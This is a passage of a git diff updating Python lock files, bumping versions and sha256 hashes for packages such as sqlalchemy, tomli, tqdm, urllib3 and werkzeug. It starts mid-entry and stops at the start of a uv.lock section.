"sha256:1182437cb2d97988cfea04cf6cdc0b0bb9c74f4d56ec3d08b81e23d621a28cc6"}, - {file = "sqlalchemy-2.0.48-cp314-cp314-win_amd64.whl", hash = "sha256:144921da96c08feb9e2b052c5c5c1d0d151a292c6135623c6b2c041f2a45f9e0"}, - {file = "sqlalchemy-2.0.48-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5aee45fd2c6c0f2b9cdddf48c48535e7471e42d6fb81adfde801da0bd5b93241"}, - {file = "sqlalchemy-2.0.48-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7cddca31edf8b0653090cbb54562ca027c421c58ddde2c0685f49ff56a1690e0"}, - {file = "sqlalchemy-2.0.48-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7a936f1bb23d370b7c8cc079d5fce4c7d18da87a33c6744e51a93b0f9e97e9b3"}, - {file = "sqlalchemy-2.0.48-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e004aa9248e8cb0a5f9b96d003ca7c1c0a5da8decd1066e7b53f59eb8ce7c62b"}, - {file = "sqlalchemy-2.0.48-cp314-cp314t-win32.whl", hash = "sha256:b8438ec5594980d405251451c5b7ea9aa58dda38eb7ac35fb7e4c696712ee24f"}, - {file = "sqlalchemy-2.0.48-cp314-cp314t-win_amd64.whl", hash = "sha256:d854b3970067297f3a7fbd7a4683587134aa9b3877ee15aa29eea478dc68f933"}, - {file = "sqlalchemy-2.0.48-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:f8649a14caa5f8a243628b1d61cf530ad9ae4578814ba726816adb1121fc493e"}, - {file = "sqlalchemy-2.0.48-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6bb85c546591569558571aa1b06aba711b26ae62f111e15e56136d69920e1616"}, - {file = "sqlalchemy-2.0.48-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a6b764fb312bd35e47797ad2e63f0d323792837a6ac785a4ca967019357d2bc7"}, - {file = "sqlalchemy-2.0.48-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:7c998f2ace8bf76b453b75dbcca500d4f4b9dd3908c13e89b86289b37784848b"}, - {file = "sqlalchemy-2.0.48-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:d64177f443594c8697369c10e4bbcac70ef558e0f7921a1de7e4a3d1734bcf67"}, - {file = "sqlalchemy-2.0.48-cp38-cp38-win32.whl", hash = "sha256:01f6bbd4308b23240cf7d3ef117557c8fd097ec9549d5d8a52977544e35b40ad"}, - {file = "sqlalchemy-2.0.48-cp38-cp38-win_amd64.whl", hash = "sha256:858e433f12b0e5b3ed2f8da917433b634f4937d0e8793e5cb33c54a1a01df565"}, - {file = "sqlalchemy-2.0.48-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4599a95f9430ae0de82b52ff0d27304fe898c17cb5f4099f7438a51b9998ac77"}, - {file = "sqlalchemy-2.0.48-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f27f9da0a7d22b9f981108fd4b62f8b5743423388915a563e651c20d06c1f457"}, - {file = "sqlalchemy-2.0.48-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d8fcccbbc0c13c13702c471da398b8cd72ba740dca5859f148ae8e0e8e0d3e7e"}, - {file = "sqlalchemy-2.0.48-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a5b429eb84339f9f05e06083f119ad814e6d85e27ecbdf9c551dfdbb128eaf8a"}, - {file = "sqlalchemy-2.0.48-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:bcb8ebbf2e2c36cfe01a94f2438012c6a9d494cf80f129d9753bcdf33bfc35a6"}, - {file = "sqlalchemy-2.0.48-cp39-cp39-win32.whl", hash = "sha256:e214d546c8ecb5fc22d6e6011746082abf13a9cf46eefb45769c7b31407c97b5"}, - {file = "sqlalchemy-2.0.48-cp39-cp39-win_amd64.whl", hash = "sha256:b8fc3454b4f3bd0a368001d0e968852dad45a873f8b4babd41bc302ec851a099"}, - {file = "sqlalchemy-2.0.48-py3-none-any.whl", hash = "sha256:a66fe406437dd65cacd96a72689a3aaaecaebbcd62d81c5ac1c0fdbeac835096"}, - {file = "sqlalchemy-2.0.48.tar.gz", hash = "sha256:5ca74f37f3369b45e1f6b7b06afb182af1fd5dde009e4ffd831830d98cbe5fe7"}, + {file = "sqlalchemy-2.0.52-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1e61d08bdf4ee2f41024569e3400de7d6734ba498144766b11260936ccfa582"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:1b92a1e23ed40022081217b40d2d1feba4f77064e69ef4f39f68bcbbd148452a"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4b89e93bb89eabdbea9d5d3fa2d6cc6544e733c33064339f91e5292480cf130e"}, + {file = "sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8d5fd8bd3d46855cd82abee97"}, ] [package.dependencies] @@ -2680,7 +2600,7 @@ aiomysql = ["aiomysql (>=0.2.0)", "greenlet (>=1)"] aioodbc = ["aioodbc", "greenlet (>=1)"] aiosqlite = ["aiosqlite", "greenlet (>=1)", "typing_extensions (!=3.10.0.1)"] asyncio = ["greenlet (>=1)"] -asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (>=1)"] +asyncmy = ["asyncmy (>=0.2.12)", "greenlet (>=1)"] mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5,!=1.1.10)"] mssql = ["pyodbc"] mssql-pymssql = ["pymssql"] @@ -2784,111 +2704,110 @@ files = [ [[package]] name = "tomli" -version = "2.4.0" +version = "2.4.1" description = "A lil' TOML parser" optional = false python-versions = ">=3.8" groups = ["dev"] markers = "python_version == \"3.10\"" files = [ - {file = "tomli-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867"}, - {file = "tomli-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9"}, - {file = "tomli-2.4.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95"}, - {file = "tomli-2.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76"}, - {file = "tomli-2.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d"}, - {file = "tomli-2.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576"}, - {file = "tomli-2.4.0-cp311-cp311-win32.whl", hash = "sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a"}, - {file = "tomli-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa"}, - {file = "tomli-2.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614"}, - {file = "tomli-2.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1"}, - {file = "tomli-2.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8"}, - {file = "tomli-2.4.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a"}, - {file = "tomli-2.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1"}, - {file = "tomli-2.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b"}, - {file = "tomli-2.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51"}, - {file = "tomli-2.4.0-cp312-cp312-win32.whl", hash = "sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729"}, - {file = "tomli-2.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da"}, - {file = "tomli-2.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3"}, - {file = "tomli-2.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0"}, - {file = "tomli-2.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e"}, - {file = "tomli-2.4.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4"}, - {file = "tomli-2.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e"}, - {file = "tomli-2.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c"}, - {file = "tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f"}, - {file = "tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86"}, - {file = "tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87"}, - {file = "tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132"}, - {file = "tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6"}, - {file = "tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc"}, - {file = "tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66"}, - {file = "tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d"}, - {file = "tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702"}, - {file = "tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8"}, - {file = "tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776"}, - {file = "tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475"}, - {file = "tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2"}, - {file = "tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9"}, - {file = "tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0"}, - {file = "tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df"}, - {file = "tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d"}, - {file = "tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f"}, - {file = "tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b"}, - {file = "tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087"}, - {file = "tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd"}, - {file = "tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4"}, - {file = "tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a"}, - {file = "tomli-2.4.0.tar.gz", hash = "sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c"}, + {file = "tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30"}, + {file = "tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a"}, + {file = "tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076"}, + {file = "tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9"}, + {file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c"}, + {file = "tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc"}, + {file = "tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049"}, + {file = "tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e"}, + {file = "tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece"}, + {file = "tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a"}, + {file = "tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085"}, + {file = "tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9"}, + {file = "tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5"}, + {file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585"}, + {file = "tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1"}, + {file = "tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917"}, + {file = "tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9"}, + {file = "tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257"}, + {file = "tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54"}, + {file = "tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a"}, + {file = "tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897"}, + {file = "tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f"}, + {file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d"}, + {file = "tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5"}, + {file = "tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd"}, + {file = "tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36"}, + {file = "tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd"}, + {file = "tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf"}, + {file = "tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac"}, + {file = "tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662"}, + {file = "tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853"}, + {file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15"}, + {file = "tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba"}, + {file = "tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6"}, + {file = "tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7"}, + {file = "tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232"}, + {file = "tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4"}, + {file = "tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c"}, + {file = "tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d"}, + {file = "tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41"}, + {file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c"}, + {file = "tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f"}, + {file = "tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8"}, + {file = "tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26"}, + {file = "tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396"}, + {file = "tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe"}, + {file = "tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f"}, ] [[package]] name = "tqdm" -version = "4.67.3" +version = "4.70.0" description = "Fast, Extensible Progress Meter" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "tqdm-4.67.3-py3-none-any.whl", hash = "sha256:ee1e4c0e59148062281c49d80b25b67771a127c85fc9676d3be5f243206826bf"}, - {file = "tqdm-4.67.3.tar.gz", hash = "sha256:7d825f03f89244ef73f1d4ce193cb1774a8179fd96f31d7e1dcde62092b960bb"}, + {file = "tqdm-4.70.0-py3-none-any.whl", hash = "sha256:7f585706bfddbdebf89daac705b2dfcc16890130727d3197ca62c732b4310953"}, + {file = "tqdm-4.70.0.tar.gz", hash = "sha256:55b0b0dbd97462d06ebee91e4dac24ed4d4702be82b24f07e6c1d27e08cea220"}, ] [package.dependencies] colorama = {version = "*", markers = "platform_system == \"Windows\""} [package.extras] -dev = ["nbval", "pytest (>=6)", "pytest-asyncio (>=0.24)", "pytest-cov", "pytest-timeout"] -discord = ["requests"] +discord = ["envwrap", "requests"] notebook = ["ipywidgets (>=6)"] -slack = ["slack-sdk"] -telegram = ["requests"] +slack = ["envwrap", "slack-sdk"] +telegram = ["envwrap", "requests"] [[package]] name = "typing-extensions" -version = "4.15.0" +version = "4.16.0" description = "Backported and Experimental Type Hints for Python 3.9+" optional = false python-versions = ">=3.9" groups = ["main", "dev"] files = [ - {file = "typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548"}, - {file = "typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466"}, + {file = "typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8"}, + {file = "typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5"}, ] markers = {dev = "python_version == \"3.10\""} [[package]] name = "typing-inspection" -version = "0.4.2" +version = "0.4.3" description = "Runtime typing introspection tools" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7"}, - {file = "typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464"}, + {file = "typing_inspection-0.4.3-py3-none-any.whl", hash = "sha256:5f42b23858a91e0b4ef521f5418f03a0da3c9216fd2995ef5e73463100e676cd"}, + {file = "typing_inspection-0.4.3.tar.gz", hash = "sha256:c5f9ec1530b5c1e2c9bc34a84d9a3466ed1b2f3f2fa9f901368d9c5596210e4d"}, ] [package.dependencies] -typing-extensions = ">=4.12.0" +typing-extensions = ">=4.15.0" [[package]] name = "unicrypto" @@ -2907,14 +2826,14 @@ pycryptodomex = "*" [[package]] name = "urllib3" -version = "2.6.3" +version = "2.7.0" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4"}, - {file = "urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed"}, + {file = "urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897"}, + {file = "urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c"}, ] [package.extras] @@ -2925,26 +2844,26 @@ zstd = ["backports-zstd (>=1.0.0) ; python_version < \"3.14\""] [[package]] name = "wcwidth" -version = "0.6.0" +version = "0.8.2" description = "Measures the displayed width of unicode strings in a terminal" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "wcwidth-0.6.0-py3-none-any.whl", hash = "sha256:1a3a1e510b553315f8e146c54764f4fb6264ffad731b3d78088cdb1478ffbdad"}, - {file = "wcwidth-0.6.0.tar.gz", hash = "sha256:cdc4e4262d6ef9a1a57e018384cbeb1208d8abbc64176027e2c2455c81313159"}, + {file = "wcwidth-0.8.2-py3-none-any.whl", hash = "sha256:d63947694a0539a1d51e01eda7caf800c291020e6cdd7e28ad7b14dd33ad4f85"}, + {file = "wcwidth-0.8.2.tar.gz", hash = "sha256:91fbef97204b96a3d4d421609b80340b760cf33e26da123ff243d76b1fda8dda"}, ] [[package]] name = "werkzeug" -version = "3.1.6" +version = "3.1.8" description = "The comprehensive WSGI web application library." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "werkzeug-3.1.6-py3-none-any.whl", hash = "sha256:7ddf3357bb9564e407607f988f683d72038551200c704012bb9a4c523d42f131"}, - {file = "werkzeug-3.1.6.tar.gz", hash = "sha256:210c6bede5a420a913956b4791a7f4d6843a43b6fcee4dfa08a65e93007d0d25"}, + {file = "werkzeug-3.1.8-py3-none-any.whl", hash = "sha256:63a77fb8892bf28ebc3178683445222aa500e48ebad5ec77b0ad80f8726b1f50"}, + {file = "werkzeug-3.1.8.tar.gz", hash = "sha256:9bad61a4268dac112f1c5cd4630a56ede601b6ed420300677a869083d70a4c44"}, ] [package.dependencies] diff --git a/uv.lock b/uv.lock index 8f81541103..be439b0bf9 100644 --- a/uv.lock +++ b/uv.lock @@ -3,7 +3,7 @@ revision = 3 requires-python = 